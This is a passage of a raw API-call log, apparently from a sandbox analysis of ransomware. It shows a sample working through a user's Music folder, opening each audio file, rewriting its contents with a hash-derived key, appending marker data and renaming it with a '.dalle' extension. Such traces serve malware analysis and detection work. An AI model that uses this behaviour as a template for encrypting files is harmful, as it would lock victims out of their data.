ftLastWriteTime.dwLowDateTime=0x33f0340, ftLastWriteTime.dwHighDateTime=0x1d4cb15, nFileSizeHigh=0x0, nFileSizeLow=0x52cd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AfS4W9T-vl.m4a", cAlternateFileName="AFS4W9~1.M4A")) returned 1 [0120.417] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.417] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0120.417] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.417] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\AfS4W9T-vl.m4a") returned=".m4a" [0120.417] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\AfS4W9T-vl.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\afs4w9t-vl.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.419] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=21197) returned 1 [0120.419] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.421] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x52a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.421] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.422] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.422] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.422] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.422] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x52cd, lpOverlapped=0x0) returned 1 [0120.423] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.423] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.423] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.423] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.423] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.424] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.424] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.424] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.424] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.424] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.424] GetLastError () returned 0x0 [0120.424] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.424] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.424] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.424] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x52d0) returned 0x3096780 [0120.424] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.424] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.424] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x52c8, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x52c8, lpOverlapped=0x0) returned 1 [0120.425] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.425] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x52cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.425] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.425] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.425] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.425] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.425] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.425] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.425] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.425] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.425] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.425] CloseHandle (hObject=0x618) returned 1 [0120.426] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018380 [0120.426] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x880) returned 0x3096780 [0120.426] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0120.426] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\AfS4W9T-vl.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\afs4w9t-vl.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\AfS4W9T-vl.m4a.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\afs4w9t-vl.m4a.dalle")) returned 1 [0120.426] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.426] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.427] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0120.427] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0120.427] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.427] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0120.427] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.428] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned=".ini" [0120.428] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0120.428] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9efe5890, ftCreationTime.dwHighDateTime=0x1d4d53c, ftLastAccessTime.dwLowDateTime=0x82211df0, ftLastAccessTime.dwHighDateTime=0x1d4c91d, ftLastWriteTime.dwLowDateTime=0x82211df0, ftLastWriteTime.dwHighDateTime=0x1d4c91d, nFileSizeHigh=0x0, nFileSizeLow=0xc167, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eVkUqXz.mp3", cAlternateFileName="")) returned 1 [0120.428] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.428] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0120.428] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.428] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\eVkUqXz.mp3") returned=".mp3" [0120.428] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\eVkUqXz.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\evkuqxz.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.429] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=49511) returned 1 [0120.429] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.430] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc141, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.430] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.432] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.432] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.432] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xc167, lpOverlapped=0x0) returned 1 [0120.433] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.433] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.433] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.433] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.433] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.434] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.434] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.434] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.434] GetLastError () returned 0x0 [0120.434] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.434] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc170) returned 0x3096780 [0120.434] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.434] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xc162, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xc162, lpOverlapped=0x0) returned 1 [0120.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.434] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc167, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.435] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.435] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.435] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.435] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.435] CloseHandle (hObject=0x618) returned 1 [0120.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x870) returned 0x3096780 [0120.436] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.436] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\eVkUqXz.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\evkuqxz.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\eVkUqXz.mp3.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\evkuqxz.mp3.dalle")) returned 1 [0120.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.437] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0120.437] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b54fa90, ftCreationTime.dwHighDateTime=0x1d4d2dc, ftLastAccessTime.dwLowDateTime=0x38fb8f10, ftLastAccessTime.dwHighDateTime=0x1d4ce9b, ftLastWriteTime.dwLowDateTime=0x38fb8f10, ftLastWriteTime.dwHighDateTime=0x1d4ce9b, nFileSizeHigh=0x0, nFileSizeLow=0x17809, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="f0KzGkVddjxFrhVbLx4y.m4a", cAlternateFileName="F0KZGK~1.M4A")) returned 1 [0120.438] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.438] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0120.438] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.438] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\f0KzGkVddjxFrhVbLx4y.m4a") returned=".m4a" [0120.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\f0KzGkVddjxFrhVbLx4y.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\f0kzgkvddjxfrhvblx4y.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.438] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=96265) returned 1 [0120.438] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.440] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x177e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.440] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.441] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.441] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.441] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.441] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x17809, lpOverlapped=0x0) returned 1 [0120.442] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.442] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.442] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.442] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.442] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.443] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.443] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.443] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.443] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.443] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.443] GetLastError () returned 0x0 [0120.443] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.443] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.443] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.443] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x17810) returned 0x3096780 [0120.444] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.444] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.444] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x17804, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x17804, lpOverlapped=0x0) returned 1 [0120.444] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.444] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x17809, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.444] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.444] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.444] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.444] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.444] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.444] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.444] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.445] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.445] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.445] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.445] CloseHandle (hObject=0x618) returned 1 [0120.446] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0120.446] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0120.446] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0120.446] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\f0KzGkVddjxFrhVbLx4y.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\f0kzgkvddjxfrhvblx4y.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\f0KzGkVddjxFrhVbLx4y.m4a.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\f0kzgkvddjxfrhvblx4y.m4a.dalle")) returned 1 [0120.446] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.446] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.447] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0120.447] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ca6020, ftCreationTime.dwHighDateTime=0x1d4ce0c, ftLastAccessTime.dwLowDateTime=0x134e4530, ftLastAccessTime.dwHighDateTime=0x1d4cf10, ftLastWriteTime.dwLowDateTime=0x134e4530, ftLastWriteTime.dwHighDateTime=0x1d4cf10, nFileSizeHigh=0x0, nFileSizeLow=0x1459b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fBS7mSNK6.m4a", cAlternateFileName="FBS7MS~1.M4A")) returned 1 [0120.447] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.447] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0120.448] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.448] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fBS7mSNK6.m4a") returned=".m4a" [0120.448] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fBS7mSNK6.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fbs7msnk6.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.448] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=83355) returned 1 [0120.448] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.450] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x14575, 